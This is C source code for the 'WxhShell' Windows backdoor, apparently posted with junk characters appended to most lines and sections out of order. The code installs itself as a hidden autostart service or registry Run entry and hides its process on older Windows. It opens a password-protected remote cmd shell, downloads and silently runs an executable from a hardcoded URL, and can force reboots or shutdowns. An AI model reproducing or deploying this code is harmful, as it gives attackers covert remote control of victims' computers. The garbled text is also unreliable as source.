    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1O0o18'  
    else { r(IQ)\GR  
    closesocket(wsh); 'dp3>4  
    ExitThread(0); Q&;dXE h  
    } POQRq%w  
    break; SXn1v.6  
    } 7c9-MP)  
  // 获取shell  pojQ/  
  case 's': { F`;oe[wfk  
    CmdShell(wsh); CfA^Xp@vc  
    closesocket(wsh); Y=l91dxGI  
    ExitThread(0); Cyg\FHs  
    break; WUSkN;idVG  
  } hTZaI*  
  // 退出 pDO&I]S`q0  
  case 'x': { & Me%ZM0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'Jww}^h1  
    CloseIt(wsh); e.%` tK3J  
    break; K%ltB&  
    } o[W7'1O  
  // 离开 vd>X4e ^j  
  case 'q': { ]?p&sI4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _ 6"!y ]Q  
    closesocket(wsh); 0!YB.=\{_q  
    WSACleanup(); _4VF>#b  
    exit(1); "If]qX(w  
    break; ixZ w;+h  
        }  q[#2`  
  } L\--h`~YU  
  } 8*;88vW"2  
sG`:mc~0   
  // 提示信息 JW;DA E<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <taN3  
} #y }{ 'rF?  
  } sHx>UvN6  
pJ7M.C!  
  return; ."<mL}Fi(  
} vkWh2z  
]42bd  
// shell模块句柄 u/3 4E=  
int CmdShell(SOCKET sock) 3>Ts7 wM  
{ p}%T`e=Z9  
STARTUPINFO si; 01VEz 8[\  
ZeroMemory(&si,sizeof(si)); M[N$N`9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B:om61Dn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]p/f@j?LU  
PROCESS_INFORMATION ProcessInfo; (5y+g?9d;  
char cmdline[]="cmd"; -NW7ncB|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sdl1k+u  
  return 0; L|Zja*  
} ,*SoV~  
[hE0 9W  
// 自身启动模式 kGsd3t!'  
int StartFromService(void) ,C%fA>?UF8  
{ hm"i\JZ3N  
typedef struct Z<6XB{Nh\  
{ 3[plwe  
  DWORD ExitStatus; pBV_'A}ioh  
  DWORD PebBaseAddress; u-g2*(ZT  
  DWORD AffinityMask; O`_!G`E  
  DWORD BasePriority; zWYm* c"n\  
  ULONG UniqueProcessId; WZ @/'[  
  ULONG InheritedFromUniqueProcessId; @~v |t{G  
}   PROCESS_BASIC_INFORMATION; jEwfa_Q%  
zi7,?bD  
PROCNTQSIP NtQueryInformationProcess; al<[iZ  
6KuB<od  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cs[_5r&:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,2\?kPoc8  
Te=[tx~x  
  HANDLE             hProcess; e|)6zh<O:  
  PROCESS_BASIC_INFORMATION pbi; >CtT_yhx  
C'mYR3?m;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R#OVJ(#  
  if(NULL == hInst ) return 0; ?-mDvW  
Enu/Nj 2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 41f4zisZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `NqX{26GV+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dHp(U :)  
o";5@NH  
  if (!NtQueryInformationProcess) return 0; xxWrSl`fB  
/XtpGk_1)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %a- *Ku  
  if(!hProcess) return 0; f;1DhAS  
=SJwCT0;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QJ2V&t"3  
j{00iA}  
  CloseHandle(hProcess); ck-ab0n  
@Sb 86Ee  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *k)v#;B  
if(hProcess==NULL) return 0; i7g+8 zd8d  
%Q9 iR5?  
HMODULE hMod; oxkA+}^j8M  
char procName[255]; EugQr<sM#  
unsigned long cbNeeded; X=O}k&  
/5 rWcX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `NIc*B4q.  
gd~# uR\  
  CloseHandle(hProcess); zrD];DP  
|DAe2RK  
if(strstr(procName,"services")) return 1; // 以服务启动 > <cK  
1<Fh aK  
  return 0; // 注册表启动 hs'J'~a  
} rO8Q||@>A  
NHKIZx8sR  
// 主模块 kkfwICBI  
int StartWxhshell(LPSTR lpCmdLine) Q2[@yRY/z  
{ N\ nr  
  SOCKET wsl; )aY^k|I  
BOOL val=TRUE; n{oRmw-  
  int port=0; +3B^e%`NPm  
  struct sockaddr_in door; 72oiO[>N'  
OnGtIY  
  if(wscfg.ws_autoins) Install(); f( (p\ &y  
8SmtEV[b3  
port=atoi(lpCmdLine); TNY d_:j  
3,qq\gxB  
if(port<=0) port=wscfg.ws_port; ^zjQ(ca@"x  
4 j9  
  WSADATA data; uMW5F-~-+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b"x[+&%i  
q^nSYp#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1eG@?~G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1QHCX*_  
  door.sin_family = AF_INET; TUeW-'/1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7bBOV(/s  
  door.sin_port = htons(port); 56!>}!8!  
6L--FY>.-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XI6LPA0%  
closesocket(wsl); >?b<)Q*<  
return 1; ('1k%`R%  
} v/%q*6@  
UO-<~DgH  
  if(listen(wsl,2) == INVALID_SOCKET) { FQNw89g  
closesocket(wsl); 0:K4,  
return 1; YXC?q  
} 2?; =TJo$  
  Wxhshell(wsl); HA}pr6Z  
  WSACleanup(); C^Jf&a  
rTJv>Jjld  
return 0; q3.L6M  
3wRk -sl  
} 7ky$9+~  
d~[^D<5,D  
// 以NT服务方式启动 *ml&}9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J7. }2  
{ FS.z lk\D=  
DWORD   status = 0; _;*|"e@^  
  DWORD   specificError = 0xfffffff; =}@m$g  
}hT1@I   
  serviceStatus.dwServiceType     = SERVICE_WIN32; xW84g08_,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TF %8pIg>Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :Uu Py|>  
  serviceStatus.dwWin32ExitCode     = 0; B Z:H$v  
  serviceStatus.dwServiceSpecificExitCode = 0; @&f3zq  
  serviceStatus.dwCheckPoint       = 0; .f'iod-   
  serviceStatus.dwWaitHint       = 0; S30@|@fTz  
H*U\P2C!)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !X 3/2KRP7  
  if (hServiceStatusHandle==0) return; p^_E7k<ag  
bI^zwK,@4  
status = GetLastError(); 6MC*2}W  
  if (status!=NO_ERROR) yK"OZ2Mv  
{ >-0b@ +j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I+ipTeB^  
    serviceStatus.dwCheckPoint       = 0; QiU!;!s  
    serviceStatus.dwWaitHint       = 0; "Fv6u]Rv  
    serviceStatus.dwWin32ExitCode     = status; X8T7(w<0%f  
    serviceStatus.dwServiceSpecificExitCode = specificError; \Yv<Tz J9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W68d"J%>_  
    return; A:"J&TbBx  
  } G>hmVd  
%]9 <a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %9|=\# G  
  serviceStatus.dwCheckPoint       = 0; A@/DGrZX  
  serviceStatus.dwWaitHint       = 0; G@Dw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0 `X%&  
} 1\d$2N"  
\FOX#|i)  
// 处理NT服务事件,比如:启动、停止 -C$Z%I7 0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /*GRE#7S  
{ cK.T=7T  
switch(fdwControl) md[FtcY\  
{ CL(,Q8yG  
case SERVICE_CONTROL_STOP: ^&t(O1.-  
  serviceStatus.dwWin32ExitCode = 0; Qi^MfHW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vy = fm  
  serviceStatus.dwCheckPoint   = 0; ]y 6`9p  
  serviceStatus.dwWaitHint     = 0; fTi,S)F'  
  { Xq&x<td  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zE V J  
  } 8uME6]m i  
  return; @URLFMFi  
case SERVICE_CONTROL_PAUSE: nbYkr*: "t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H3 _7a9  
  break; FAu G`zu  
case SERVICE_CONTROL_CONTINUE: an3HKfv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T6f{'.w  
  break; 6Rn_@_Nn)f  
case SERVICE_CONTROL_INTERROGATE: $;*YdZ`q  
  break; l79jd%/m  
}; q>&F%;q1]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?r@euZ&  
} ypXKw7f(  
)>,b>7  
// 标准应用程序主函数 4ei .-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y_`D5c:  
{ `$`:PT\Zv4  
{+[~;ISL  
// 获取操作系统版本 Yt*M|0bL  
OsIsNt=GetOsVer(); RIX0AE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iUh_rX9A"  
S=lA^#'UdX  
  // 从命令行安装 a34'[R  
  if(strpbrk(lpCmdLine,"iI")) Install(); R~b9)  
K@VXFV  
  // 下载执行文件 c< gM  
if(wscfg.ws_downexe) { vII&v+C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G*BM'^0+  
  WinExec(wscfg.ws_filenam,SW_HIDE); *Rshzv[  
} L{2\NJ"+u  
9Q :IgY?T  
if(!OsIsNt) { tBG :ECUL  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,$3  
HideProc(); #I@]8U#,":  
StartWxhshell(lpCmdLine); [p@NzS/  
} {549&]/o  
else ZP?k|sEH  
  if(StartFromService()) }Iub{30mp  
  // 以服务方式启动 &+`l $h  
  StartServiceCtrlDispatcher(DispatchTable); ^g[\.Q  
else MvY0?!v  
  // 普通方式启动 cFUYT$8>  
  StartWxhshell(lpCmdLine); 2Z@<llsi  
|dD!@K  
return 0;  -/  
} 3HbHl?-UNU  
Xkl^!,  
4PiNQ'*  
XoSjYG(>,  
=========================================== p"H8;fPA0  
Beqhe\{  
7OtQK`P"A  
`P/*x[?  
U`6QD}c"s  
i*_KHK  
" p{Pa(Z]G  
W~k!qy `  
#include <stdio.h> [&nwB!kt  
#include <string.h> U]R?O5K  
#include <windows.h> 8tA.d.8  
#include <winsock2.h> wt2S[:!p  
#include <winsvc.h> 3N+P~v)T'  
#include <urlmon.h> /F;*[JZIb  
.F#mT h  
#pragma comment (lib, "Ws2_32.lib") Q77qrx3  
#pragma comment (lib, "urlmon.lib")  8k J k5  
'0 ( Bb  
#define MAX_USER   100 // 最大客户端连接数 _$ixE~w-!  
#define BUF_SOCK   200 // sock buffer T|.Q81.NE  
#define KEY_BUFF   255 // 输入 buffer !u6~#.7  
?RpT_u  
#define REBOOT     0   // 重启 #C+Gk4"w  
#define SHUTDOWN   1   // 关机 A</[Q>8  
%hrv~=  
#define DEF_PORT   5000 // 监听端口 Qb|w\xT^Y  
$:u,6|QsS=  
#define REG_LEN     16   // 注册表键长度 2Fx<QRz  
#define SVC_LEN     80   // NT服务名长度 18[f_0@ #  
f=K1ZD  
// 从dll定义API X8Sk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MruWt*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $+P v fQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a m<R!(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =~=/ dq  
,xD{A}}V  
// wxhshell配置信息 R8'yQ#FVy  
struct WSCFG { {Y/| 7Cl0  
  int ws_port;         // 监听端口 eU%5CVH.v  
  char ws_passstr[REG_LEN]; // 口令 u/.s rK!K  
  int ws_autoins;       // 安装标记, 1=yes 0=no qh7o;x~,  
  char ws_regname[REG_LEN]; // 注册表键名 c6c^9*,V  
  char ws_svcname[REG_LEN]; // 服务名 ''5%5(Y.r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j%p~.kW5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]`. d%Vx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z}NAH`V`:+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'R,d?ikY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZC2C`S\xr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6km u'vw  
l*v([@A\  
}; =rBFMTllM  
}2NH>qvY  
// default Wxhshell configuration =fsaJ@q ,R  
struct WSCFG wscfg={DEF_PORT, vhL&az  
    "xuhuanlingzhe", ^F"*;8$  
    1, G0Wd"AV+  
    "Wxhshell", oVq@M  
    "Wxhshell", \B}W(^\wg;  
            "WxhShell Service", c<D Yk f  
    "Wrsky Windows CmdShell Service", Ra{B8)Q  
    "Please Input Your Password: ", k oHY AF  
  1, @\"*Z&]8z0  
  "http://www.wrsky.com/wxhshell.exe", chd${ j  
  "Wxhshell.exe" }MIH{CMH  
    }; 6\TstY3  
)F~>  
// 消息定义模块 [CUJA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?1N0+OW   
char *msg_ws_prompt="\n\r? for help\n\r#>"; y:42H tS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 19N:9;Ixz  
char *msg_ws_ext="\n\rExit."; xJ"Zg]d{  
char *msg_ws_end="\n\rQuit."; /ruf1?\,R  
char *msg_ws_boot="\n\rReboot..."; 6~!YEuA  
char *msg_ws_poff="\n\rShutdown..."; 8^R>y  
char *msg_ws_down="\n\rSave to "; 8m1zL[.8g  
j}VOr >xz  
char *msg_ws_err="\n\rErr!"; ##s !-.T  
char *msg_ws_ok="\n\rOK!"; 6sZRR{'  
xc/|#TC8?  
char ExeFile[MAX_PATH]; <GNOT"z  
int nUser = 0; l?R_wu,Q  
HANDLE handles[MAX_USER]; 0l:5hD,)F  
int OsIsNt; eAuJ}U[  
(C3d<a\:  
SERVICE_STATUS       serviceStatus; (D l"s`UH~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4z*_,@OA  
@[FFYVru  
// 函数声明 UpIf t=@P  
int Install(void); u}:O[DG  
int Uninstall(void); Tb)x8-0  
int DownloadFile(char *sURL, SOCKET wsh); {30<Vc=  
int Boot(int flag); CYn}wkz  
void HideProc(void); c|.:J]  
int GetOsVer(void); O#EBR<CuK  
int Wxhshell(SOCKET wsl); ZGbZu  
void TalkWithClient(void *cs); <+$S{Z.  
int CmdShell(SOCKET sock); `UI)H*GA8  
int StartFromService(void); > Qtyw.n  
int StartWxhshell(LPSTR lpCmdLine); gK<-*v  
h4qR\LX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gU~)(|Nu.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); up1aFzY|6x  
# _7c>gn  
// 数据结构和表定义 %nCUct@c  
SERVICE_TABLE_ENTRY DispatchTable[] = W" !amMQ  
{ @s@  
{wscfg.ws_svcname, NTServiceMain}, 1(?J>{-lw  
{NULL, NULL} d+;wDu   
}; #NE^f2  
[T%blaSX  
// 自我安装 `o3d@Vc  
int Install(void) yJL"uleRT  
{ h0eo:Ahi  
  char svExeFile[MAX_PATH]; sXa8(xc  
  HKEY key; GMNb;D(>K  
  strcpy(svExeFile,ExeFile); yT n@p(J  
b910Z?B^L  
// 如果是win9x系统,修改注册表设为自启动 bpx=&74,6m  
if(!OsIsNt) { KCT8Q!\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G;m"ao"2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ul%bo%&~  
  RegCloseKey(key); \nHlI=!P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :A'!u r=\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <S}qcjG  
  RegCloseKey(key); kW~F*  
  return 0; ?c2TT Q  
    } B1M/5cr.  
  } VM,ZEt3Vy  
} Za6oYM_z  
else { 8bGq"!w-  
8<kme"% s  
// 如果是NT以上系统,安装为系统服务 #~+#72+x7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); asi1c y\  
if (schSCManager!=0) p~.@8r(  
{ <e^/hR4O  
  SC_HANDLE schService = CreateService RI(uG-Y  
  ( ~ YK <T+  
  schSCManager, ` Z/ IW  
  wscfg.ws_svcname, 9CNHjs+-}s  
  wscfg.ws_svcdisp, K_5&_P1  
  SERVICE_ALL_ACCESS, IebS~N E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5);#\&B  
  SERVICE_AUTO_START, JqUVGEg  
  SERVICE_ERROR_NORMAL, e%U*~{m+  
  svExeFile, .vv*bx   
  NULL, 8j'*IRj*q  
  NULL, 752wK|o0|;  
  NULL, vdm?d/0(^  
  NULL, wB)+og-^1f  
  NULL is(!_Iv  
  ); kpH;D=;  
  if (schService!=0) Q 8rtZ  
  { %wf|nnieZ  
  CloseServiceHandle(schService); pPZ/O 6  
  CloseServiceHandle(schSCManager); #CPPdU$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;}~=W!yz  
  strcat(svExeFile,wscfg.ws_svcname); $5b|@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #%9]Lq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Uot-@|l  
  RegCloseKey(key); .=yus[,~  
  return 0; 8zC k9&  
    } m GhJn  
  } }$U[5wL,_  
  CloseServiceHandle(schSCManager); 'j_H{kQy  
} 6^|6V  
} <L~xR5  
sAoM=n}!  
return 1; Q: O>kCDV  
} RfBb{?PP)  
m0Syxb  
// 自我卸载 ~TH5>``;gF  
int Uninstall(void) `yAo3A9vk  
{ pV6HQ:y1  
  HKEY key; 358/t/4 {p  
Pm^N0L9?q  
if(!OsIsNt) { @;fE%N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~5NGDT#L*  
  RegDeleteValue(key,wscfg.ws_regname); U 0RfovJ  
  RegCloseKey(key); HF: T]n,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LUNs|\&  
  RegDeleteValue(key,wscfg.ws_regname); yXA f  
  RegCloseKey(key); BozK!"R_<  
  return 0; <83gn :$  
  } qb4;l\SfT  
} c@-K  
} ;p 5v3<PC  
else { DBBBpb~~  
K$cIVsfr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g/,Bx!'8p  
if (schSCManager!=0) \Byk`} 9  
{ B  bw1k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SECQVA_y`  
  if (schService!=0) 5TneuGD  
  { V;-.38py  
  if(DeleteService(schService)!=0) { Ue#yDTjc  
  CloseServiceHandle(schService); =Rx?6%  
  CloseServiceHandle(schSCManager); )v=G}j^  
  return 0; cXcx_-  
  } (VaN\+I:T  
  CloseServiceHandle(schService); RVnyl`s  
  } AaYrVf 9!  
  CloseServiceHandle(schSCManager); YC&jKx.>  
} g0j4<\F2\  
} Om2X>/V%C  
_P<lG[V  
return 1; KWJgW{{v  
} C9U {^  
+;*(a3Gp  
// 从指定url下载文件 18"VB50b}  
int DownloadFile(char *sURL, SOCKET wsh) Z 'NbHwW}  
{ D}/=\J/  
  HRESULT hr; Hu9R.[u  
char seps[]= "/"; mBZ Dl4 '  
char *token; "QO/Jls  
char *file; O*03PF^  
char myURL[MAX_PATH]; oPu|Q^I=  
char myFILE[MAX_PATH]; @k+G Cf  
wUCDJY:,1  
strcpy(myURL,sURL); :"P hkR  
  token=strtok(myURL,seps); ]KK ZbEO  
  while(token!=NULL) 4A/,X>W61  
  { bp>ps@zFq  
    file=token; '}+X,Usm  
  token=strtok(NULL,seps); 4@]xn  
  } #* gU[9U~  
_'hCUXeY'  
GetCurrentDirectory(MAX_PATH,myFILE); KTK6#[8A  
strcat(myFILE, "\\"); DV[ Jbl:)  
strcat(myFILE, file); @`;Y/',  
  send(wsh,myFILE,strlen(myFILE),0); Pkx(M E  
send(wsh,"...",3,0); 5Ue^>8-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v^],loi<V  
  if(hr==S_OK) <`xRqe:&9  
return 0; aY[0A_  
else mU+FQX  
return 1; oiv2rOFu  
tM$0 >E  
} {?f^  
6l\UNG7  
// 系统电源模块 lDJd#U'V  
int Boot(int flag) a^XTW7]r  
{ ;Co[y=Z  
  HANDLE hToken; (Cl`+ V  
  TOKEN_PRIVILEGES tkp; `,-hG  
" T a9  
  if(OsIsNt) { &&9c&xgzE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !UBDx$]^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c,+(FQ9  
    tkp.PrivilegeCount = 1; F%.9f Uo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v!#`W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &Ev]x2YC  
if(flag==REBOOT) { kh?#={]Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ui56<gI-  
  return 0; T]nR=uK6LL  
} f_4S>C$  
else { hdf8U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eY 4`k  
  return 0; YoF\ MT]W  
} 1>@]@ST[:  
  } zK>'tFU  
  else { \Qi#'c$5+a  
if(flag==REBOOT) { [  t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) => uVp  
  return 0; ~t${=o430  
} }r~v,KDb  
else { }+dM1O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O& 3r*vd  
  return 0; A)RI:?+  
} 6t_ 3%{  
} b>bgUDq  
uq|vNLW26  
return 1; Lov.E3S6;  
} %89" A'g  
P )t]bS  
// win9x进程隐藏模块 $&=4.7Yt  
void HideProc(void) 8sR  
{ UU.mdSL  
 \Z\IK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #0?"J)  
  if ( hKernel != NULL ) 8g[ (nxI~  
  { Ho)t=qn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =wIdC3Ph  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yp[<9%Fi  
    FreeLibrary(hKernel); dThn?  
  } d^Zo35X  
u+mjguIv  
return; Q$?7)yyu+  
} *#Lsjk~_-  
G>=9gSLM  
// 获取操作系统版本 s<Ex"+  
int GetOsVer(void) Ms:KM{T0  
{ 5w,lw  
  OSVERSIONINFO winfo; *or2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _'!N q  
  GetVersionEx(&winfo); L876$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $ ] W[y=  
  return 1; vLv|SqD  
  else yN9$gfJC^  
  return 0; <OR.q  
} `W"a! ,s2  
;#Jq$v)D  
// 客户端句柄模块 J.bF v/R  
int Wxhshell(SOCKET wsl) 0<]$v"`I  
{ 7m|`tjQ1  
  SOCKET wsh; F@=e2e 4  
  struct sockaddr_in client; zj~nnfoys  
  DWORD myID; io9y; S"+  
VM-qVd-  
  while(nUser<MAX_USER) .N5h V3  
{ s6uF5]M;2  
  int nSize=sizeof(client); )|U_Z"0H^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,zAK3d&hj  
  if(wsh==INVALID_SOCKET) return 1; bU;}!iVc]  
jw/'*e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C<[d  
if(handles[nUser]==0) MB ]#%g&  
  closesocket(wsh); ~/j$TT"  
else 4 ss&'h  
  nUser++; XGE 2J  
  } xb4Pt`x)rS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]> nPqL  
|MTpU@`p5  
  return 0; o,?!"*EP  
} =7 Jy  
pT("2:)x  
// 关闭 socket +"k.E x0:  
void CloseIt(SOCKET wsh) v2/yw,  
{ gHQPhe#n  
closesocket(wsh); TqS2!/jp  
nUser--; /hm84La  
ExitThread(0); u:_sTfKm&  
} [NHg&R H  
[kPD`be2#  
// 客户端请求句柄 QuSV&>T\  
void TalkWithClient(void *cs) 8g<Q5(  
{ ?!bd!:(N  
o2;(VSKhS  
  SOCKET wsh=(SOCKET)cs; |RR"'o_E  
  char pwd[SVC_LEN]; ~hS3*\^~M  
  char cmd[KEY_BUFF]; SQh+5  
char chr[1]; :d;[DYFLxb  
int i,j; 69t7=r  
F;IP3tD  
  while (nUser < MAX_USER) { ,9=gVW{  
>%9^%p^  
if(wscfg.ws_passstr) { J?._/RL8-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lbQ6 a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AI&qU/}  
  //ZeroMemory(pwd,KEY_BUFF); \bU`  
      i=0; yJDeX1+,  
  while(i<SVC_LEN) { /3Jz3  
f=t:[ < )  
  // 设置超时 c*N50%=4  
  fd_set FdRead; Iq)(UfaSve  
  struct timeval TimeOut; ctp?y  
  FD_ZERO(&FdRead); rpUy$qrRc  
  FD_SET(wsh,&FdRead); mbF(tSy  
  TimeOut.tv_sec=8; rei 8LW  
  TimeOut.tv_usec=0; n4^~gT%b5]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L<bYRGz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J"diFz+20  
(V$Zc0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9 0X?1  
  pwd=chr[0]; HwB {8S?sm  
  if(chr[0]==0xd || chr[0]==0xa) { 2ubmsbt$  
  pwd=0; {bT9VZ>  
  break; k) "ao2iXL  
  } <v]z6B@9!  
  i++; $[[?;g  
    } +C'XS{K,#  
t2"@Ps&1|  
  // 如果是非法用户,关闭 socket 2$M,*Dnr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g.9L)L  
} DH:J  
d'ZS;l   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q<n[.u1@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F;#zN  
(VR" Mi4  
while(1) { cI2Fpf`2Wj  
ovo/!YJ2  
  ZeroMemory(cmd,KEY_BUFF); 5QAdcEcN@O  
0Y7$d`  
      // 自动支持客户端 telnet标准   B1E$v(P3M  
  j=0; NeHx2m+  
  while(j<KEY_BUFF) { BYS lKTh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P^"R4T  
  cmd[j]=chr[0]; L~IE,4  
  if(chr[0]==0xa || chr[0]==0xd) { H#+\nT2m  
  cmd[j]=0; jk )Vb  
  break; q%>7L<r  
  } @|BD|{k  
  j++; uG;?vvg>  
    } PkTf JQP8  
[cDbaq,T  
  // 下载文件 b\:~;  
  if(strstr(cmd,"http://")) { H#35@HF*o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3 -tO;GKb  
  if(DownloadFile(cmd,wsh)) :V-k'hm &  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {-HDkG' 8  
  else 0E-pA3M6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6JSY56v  
  } s D_G)c  
  else { b4 CF`BG  
#,&8&  
    switch(cmd[0]) { \ZMP_UU(  
  E tx`K5Tr]  
  // 帮助 s O=4IBE  
  case '?': { p;0 PxL=  
